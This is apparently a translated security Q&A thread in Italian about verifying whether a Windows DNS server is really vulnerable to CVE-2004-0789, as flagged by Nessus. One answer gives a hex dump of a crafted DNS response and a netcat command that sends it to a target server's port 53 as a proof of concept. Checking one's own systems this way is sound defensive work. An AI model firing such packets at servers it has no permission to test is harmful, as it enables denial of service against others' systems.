Come testare CVE-2004-0789 Denial of Service Flood Response DNS di risposta al fornitore multiplo?

Naviga le tue risposte
4

Uso Nessus per controllare le vulnerabilità sul mio server web. È un server Windows. Nessus segnala che questo particolare server ha una vulnerabilità CVE-2004-0789.

Ecco la descrizione di Nessus: 

The remote DNS server is vulnerable to a denial of service attack because it replies to DNS responses.
An attacker could exploit this vulnerability by spoofing a DNS packet so that it appears to come from 127.0.0.1 and
make the remote DNS server enter into an infinite loop, therefore denying service to legitimate users.

Come verificare se questa vulnerabilità esiste davvero sul mio server? C'è qualche prova del concetto di questo?

[UPDATE: alcuni screenshot del rapporto di Nessus]

    
posta christofersimbar 16.08.2016 - 16:42
fonte

2 risposte

2

Il test Nessus di base sembra essere replicabile utilizzando un editor esadecimale per creare un file di risposta (ho utilizzato l'esempio di Nessus google) e poi inviare tali dati al server DNS di destinazione tramite netcat:

quindi: 

 od -ah dns-response-dos.txt

0000000   '   x enq etx nul soh nul nul nul nul nul nul etx   w   w   w

f860    8385    0100    0000    0000    0000    7703    7777

0000020 ack   g   o   o   g   l   e etx   c   o   m nul nul dle nul soh

6706    6f6f    6c67    0365    6f63    006d    1000    0100

0000040

... e poi: 

cat dns-response-dos.txt | nc -u "target dns server"  53 

'���wwwgooglecom^C

.. produce una risposta.

I dati inutili non producono alcuna risposta

    
risposta data 28.12.2017 - 23:12
fonte
1

Un estratto dalla pagina di sicurezza di un fornitore parla di come è un problema e come funziona

Il motivo principale per cui il codice non è sicuro è perché il codice in questione ha risultati non definiti se si alimentano dati che si trovano in una forma diversa rispetto a quanto previsto dall'autore del codice. Il caso più semplice di questo è il buffer overflow, in cui un programma viene alimentato con una stringa molto più lunga di quanto il programma è stato progettato per gestire. Un altro esempio è il bug "cache poison" che avevano versioni antiche di un'altra implementazione DNS. Con questo bug, è stato banale dire al server DNS che, ad esempio, www.yahoo.com aveva un indirizzo IP di 10.69.69.69, che punta davvero a qualche sito squallido che installa spyware. Perché questo bug esiste? Poiché gli autori originali di questo server non si aspettavano che i server remoti distribuissero deliberatamente indirizzi IP errati.

    
risposta data 16.08.2016 - 20:43
fonte

Leggi altre domande sui tag

Come verificare la vulnerabilità contro gli attacchi WPAD / HTTPS? Perché l'app ProtonMail per Android richiede permessi di identità?